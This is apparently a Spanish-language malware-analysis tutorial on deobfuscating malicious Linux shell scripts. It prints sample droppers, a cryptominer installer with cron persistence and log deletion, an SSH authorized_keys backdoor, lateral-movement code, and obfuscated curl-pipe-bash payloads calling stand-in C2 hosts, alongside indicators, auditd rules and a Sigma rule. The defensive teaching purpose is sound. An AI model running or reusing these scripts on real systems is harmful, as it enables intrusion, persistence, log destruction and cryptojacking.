Shell Scripts Maliciosos: Análisis y Deofuscación Paso a Paso

Shell scripts: el dropper universal de Linux

En el ecosistema de malware Linux, los shell scripts cumplen el rol de "primera etapa": descargan, instalan, configuran persistencia y lanzan el payload real (normalmente un binario ELF). Son el equivalente a las macros de Office en Windows: no son el malware final, pero son el vector que lo instala.

La simplicidad es su ventaja: un script de 10 líneas puede descargar un cryptominer, matarcompetidores, configurar un cronjob para persistencia, y limpiar las evidencias. Y funciona en cualquier distribución Linux sin dependencias.

Patrones comunes de shell scripts maliciosos

Patrón 1: dropper básico

#!/bin/bash
cd /tmp || cd /dev/shm || cd /var/tmp
wget -q http://c2.example.com/payload -O .cache
chmod +x .cache
nohup ./.cache &
rm -f .cache
history -c

Patrón 2: cryptominer installer

#!/bin/bash
# Matar competidores
pkill -9 -f xmrig; pkill -9 -f kinsing; pkill -9 -f minerd

# Eliminar cronjobs de competidores
crontab -r 2>/dev/null

# Descargar miner
curl -sL http://c2/xmrig -o /tmp/.systemd-private
chmod +x /tmp/.systemd-private

# Configuracion
cat > /tmp/.config.json << 'EOF'
{"pools":[{"url":"pool.hashvault.pro:443","user":"44AFF...","tls":true}]}
EOF

# Ejecutar
nohup /tmp/.systemd-private -c /tmp/.config.json > /dev/null 2>&1 &

# Persistencia
(crontab -l 2>/dev/null; echo "*/5 * * * * curl -sL http://c2/update.sh | bash") | crontab -

# Limpiar
history -c
rm -f /var/log/auth.log

Patrón 3: backdoor con SSH key

#!/bin/bash
# Añadir clave SSH del atacante
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

# Para todos los usuarios con home directory
for user_dir in /home/*/; do
    mkdir -p "$user_dir/.ssh"
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> "$user_dir/.ssh/authorized_keys"
    chown -R $(basename "$user_dir"):$(basename "$user_dir") "$user_dir/.ssh"
done

Patrón 4: lateral movement via SSH

#!/bin/bash
# Buscar hosts en la red
for ip in $(seq 1 254); do
    ping -c 1 -W 1 192.168.1.$ip > /dev/null 2>&1 && echo "192.168.1.$ip" >> /tmp/.hosts
done

# Intentar SSH con claves existentes
for host in $(cat /tmp/.hosts); do
    ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 root@$host \
        "curl -sL http://c2/payload.sh | bash" 2>/dev/null &
done

Técnicas de ofuscación

Base64 encoding

La técnica más común:

# Script ofuscado:
echo 'Y3VybCAtc0wgaHR0cDovL2MyL3BheWxvYWQgLW8gL3RtcC8uY2FjaGUgJiYgY2htb2QgK3ggL3RtcC8uY2FjaGUgJiYgL3RtcC8uY2FjaGU=' | base64 -d | bash

# Decodificado:
curl -sL http://c2/payload -o /tmp/.cache && chmod +x /tmp/.cache && /tmp/.cache

Deofuscación: reemplazar | bash con nada (o con | cat) para ver el comando sin ejecutarlo.

Doble/triple base64

echo 'WlhaaFkyZ25lVzFKUlhJZ0xXUWdMMlJsZGk5....' | base64 -d | base64 -d | bash

Hex encoding

echo -e '\x63\x75\x72\x6c\x20\x2d\x73\x4c\x20\x68\x74\x74\x70' | bash
# Decodificado: curl -sL http...

Variable substitution

a="cu"
b="rl"
c=" -sL "
d="http"
e="://c"
f="2/pay"
g="load"
$a$b$c$d$e$f$g | bash
# Reconstruido: curl -sL http://c2/payload | bash

eval con strings construidas

eval "$(echo 6375726c202d734c20687474703a2f2f63322f70 | xxd -r -p)"

tr para sustituir caracteres

echo "phey -fY uggc://p2/cnlybnq" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# ROT13 decode: curl -sL http://c2/payload

Reversed string

eval $(echo 'hsab | daolyap/2c//:ptth Ls- lruc' | rev)
# Reversed: curl -sL http://c2/payload | bash

Combinación de técnicas

a=$(echo 'Y3VybA==' | base64 -d)
b=$(echo -e '\x20\x2d\x73\x4c\x20')
c=$(echo 'aHR0cDovL2MyLw==' | base64 -d)
d=$(echo "daolyap" | rev)
eval "$a$b$c$d"
# Reconstruido: curl -sL http://c2/payload

Proceso de deofuscación

Regla general

NUNCA ejecutar el script para deofuscarlo. Siempre decodificar manualmente.

Paso 1: identificar la técnica

# Base64: buscar 'base64 -d', 'echo ... | base64'
grep -E 'base64|b64decode' script.sh

# Hex: buscar '\x', 'xxd', 'printf'
grep -E '\\x[0-9a-f]{2}|xxd|printf' script.sh

# eval: buscar 'eval', '$(' ... ')'
grep -E 'eval|\$\(' script.sh

# rev: buscar 'rev'
grep 'rev' script.sh

# tr ROT13: buscar 'tr'
grep 'tr.*A-Za-z' script.sh

Paso 2: decodificar capa por capa

# Para base64:
echo 'Y3VybCAtc0wgaHR0cDovL2MyL3BheWxvYWQ=' | base64 -d
# Output: curl -sL http://c2/payload

# Para hex:
echo -e '\x63\x75\x72\x6c'
# Output: curl

# Para ROT13:
echo "phey" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# Output: curl

# Para reversed:
echo "daolyap" | rev
# Output: payload

Paso 3: reemplazar eval/bash con echo

# Original (peligroso):
echo 'base64payload' | base64 -d | bash

# Seguro (solo ver):
echo 'base64payload' | base64 -d
# Ver el output sin ejecutar

Herramientas de deofuscación

Herramienta	Descripción
CyberChef	Decodificador visual: base64, hex, ROT13, múltiples capas
bash -x	Trace mode: muestra cada comando antes de ejecutar (solo en sandbox)
shellcheck	Analizador estático de scripts bash
Manual	Para scripts simples, decodificación manual es más rápida y segura

Detección de shell scripts maliciosos

Indicadores en el script

Indicador	Sospecha
curl | bash o wget -O- | bash	Muy alta (descarga y ejecuta)
base64 -d | bash	Muy alta (ofuscación + ejecución)
eval con strings construidas	Alta
crontab -r o manipulación de crontab	Alta (eliminar/modificar persistencia)
history -c	Alta (limpiar evidencia)
rm -f /var/log/*	Muy alta (destruir logs)
chmod +x /tmp/* o /dev/shm/*	Alta (ejecutable en directorio temporal)
authorized_keys manipulation	Alta (backdoor SSH)
pkill -9 -f con nombres de miners	Alta (eliminar competidores)
nohup + & + redirección a /dev/null	Media (ejecución en background sigilosa)

auditd rules

# Detectar ejecucion de scripts via pipe
-a always,exit -F arch=b64 -S execve -F key=script_exec

# Detectar curl/wget piped a bash
-w /usr/bin/curl -p x -k download_exec
-w /usr/bin/wget -p x -k download_exec
-w /usr/bin/bash -p x -k bash_exec

# Detectar modificacion de crontab
-w /var/spool/cron/ -p wa -k cron_modify
-w /etc/crontab -p wa -k cron_modify

# Detectar modificacion de authorized_keys
-w /root/.ssh/authorized_keys -p wa -k ssh_key_modify

Sigma rule

title: Suspicious Shell Script Execution Pattern
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: stable
logsource:
    category: process_creation
    product: linux
detection:
    selection_download_exec:
        CommandLine|contains:
            - 'curl'
            - 'wget'
        CommandLine|contains:
            - '| bash'
            - '| sh'
            - '| /bin/bash'
            - '| /bin/sh'
    selection_base64_exec:
        CommandLine|contains: 'base64'
        CommandLine|contains:
            - '| bash'
            - '| sh'
            - 'eval'
    condition: selection_download_exec or selection_base64_exec
level: critical
tags:
    - attack.execution
    - attack.t1059.004

Mapeo MITRE ATT&CK

Técnica	ID	Contexto shell scripts
Command and Scripting: Unix Shell	T1059.004	Ejecución de bash scripts
Ingress Tool Transfer	T1105	curl/wget para descargar payloads
Obfuscated Files or Information	T1027	Base64, hex, ROT13, eval
Indicator Removal: Clear Linux or Mac System Logs	T1070.002	rm logs, history -c
Scheduled Task: Cron	T1053.003	Persistencia via crontab
Account Manipulation: SSH Authorized Keys	T1098.004	Backdoor SSH

---

Fuentes y referencias

• SANS. "Malicious Shell Script Analysis." SANS ISC Diary.
• Trend Micro. "Shell Script-Based Linux Malware." Trend Micro Research, 2024.
• CrowdStrike. "Linux Shell Script Threats." 2024 Global Threat Report.
• MITRE ATT&CK. "Unix Shell (T1059.004)." https://attack.mitre.org/techniques/T1059/004/
• CyberChef. "The Cyber Swiss Army Knife." https://gchq.github.io/CyberChef/
• auditd. "Linux Audit System." Linux man pages.